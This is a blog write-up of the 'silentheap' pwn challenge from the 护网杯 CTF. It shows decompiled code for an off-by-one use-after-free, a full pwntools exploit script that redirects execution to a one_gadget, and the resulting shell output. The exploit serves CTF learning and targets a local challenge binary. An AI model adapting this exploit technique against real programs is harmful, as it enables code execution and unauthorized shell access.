Jcxp's blog

护网杯 silentheap writeup

Word count: 610Reading time: 3 min
2019/09/11 Share

漏洞分析

  • dele函数中,第二次循环并没有循环到9,如果dele时输入9,会直接freeptr[9],此时dword_804AA60[i]=0.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int dele()
{
int result; // eax
int v1; // [esp+8h] [ebp-10h]
signed int i; // [esp+Ch] [ebp-Ch]

result = sub_8048671();
v1 = result;
if ( result >= 0 && result <= 9 )
{
result = (int)ptr[result];
if ( result )
{
result = dword_804AA60[v1];
if ( result )
{
free(ptr[v1]);
for ( i = v1; i <= 8 && ptr[i]; ++i ) // vul
{
ptr[i] = ptr[i + 1];
dword_804AA60[i] = dword_804AA60[i + 1];
}
result = i;
dword_804AA60[i] = 0;
}
}
}
return result;
}
  • 如果我们对ptr[9]分配一个0x358的内存的话,在zhixing函数时,会调用ptr[idx+85*4]地址的函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
.text:08048944 ; __unwind {
.text:08048944 push ebp
.text:08048945 mov ebp, esp
.text:08048947 sub esp, 18h
.text:0804894A call sub_8048671
.text:0804894F mov [ebp+var_C], eax
.text:08048952 cmp [ebp+var_C], 0
.text:08048956 js short loc_80489C1
.text:08048958 cmp [ebp+var_C], 9
.text:0804895C jg short loc_80489C1
.text:0804895E mov eax, [ebp+var_C]
.text:08048961 mov eax, ds:ptr[eax*4]
.text:08048968 test eax, eax
.text:0804896A jz short loc_80489C4
.text:0804896C mov eax, [ebp+var_C]
.text:0804896F mov eax, ds:dword_804AA60[eax*4]
.text:08048976 cmp eax, 2
.text:08048979 jnz short loc_804899E
.text:0804897B mov eax, [ebp+var_C]
.text:0804897E mov eax, ds:ptr[eax*4]
.text:08048985 mov [ebp+var_10], eax
.text:08048988 mov eax, [ebp+var_10]
.text:0804898B mov eax, [eax+354h]
.text:08048991 sub esp, 0Ch
.text:08048994 push [ebp+var_10]
.text:08048997 call eax
.text:08048999 add esp, 10h
.text:0804899C jmp short locret_80489C5
.text:0804899E ; ---------------------------------------------------------------------------
.text:0804899E
.text:0804899E loc_804899E: ; CODE XREF: zhixing+35↑j
.text:0804899E mov eax, [ebp+var_C]
.text:080489A1 mov eax, ds:ptr[eax*4]
.text:080489A8 mov [ebp+var_14], eax
.text:080489AB mov eax, [ebp+var_14]
.text:080489AE mov eax, [eax+154h] //ptr[idx+85*4]
.text:080489B4 sub esp, 0Ch
.text:080489B7 push [ebp+var_14]
.text:080489BA call eax //执行这个函数
.text:080489BC add esp, 10h
.text:080489BF jmp short locret_80489C5
  • 可以通过修改aThouWhoArtDark的值来构构造一个地址为one_gadget,原题需要爆破one_gadget的地址,这里为了测试关掉了aslr.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

void new1()
{
char *v0; // ST18_4
signed int i; // [esp+Ch] [ebp-Ch]

for ( i = 0; i <= 9 && ptr[i]; ++i )
;
if ( i <= 9 )
{
v0 = (char *)malloc(0x358u);
strcpy(v0 + 4, aThouWhoArtDark);
*((_DWORD *)v0 + 213) = sub_8048704;
ptr[i] = v0;
dword_804AA60[i] = 2;
}
}


int edit()
{
int result; // eax
int v1; // [esp+Ch] [ebp-Ch]

result = sub_8048671();
v1 = result;
if ( result == 1 )
result = sub_804861A((int)src, 336);
if ( v1 == 2 )
result = sub_804861A((int)aThouWhoArtDark, 848);
return result;
}

漏洞利用

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#coding:utf-8
from pwn import *
context.log_level = 'debug'


p = process('./silentheap')


def new():
p.sendline('1')

def new1():
p.sendline('2')
def zhixing(idx):
p.sendline('3')
p.sendline(str(idx))
def dele(idx):
p.sendline('4')
p.sendline(str(idx))

def edit(choice,content):
p.sendline('5')
p.sendline(str(choice))
p.sendline(str(content))

for i in range(9):
new()

one_gadget = 0xf7e40c5c

payload=p32(one_gadget)*100

edit(2,payload)
new1()
dele(9)
zhixing(9)

p.interactive()

getshell

1
2
3
4
5
6
7

$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x5 bytes:
'jcxp\n'
jcxp
CATALOG
  1. 1. 漏洞分析
  2. 2. 漏洞利用
  3. 3. getshell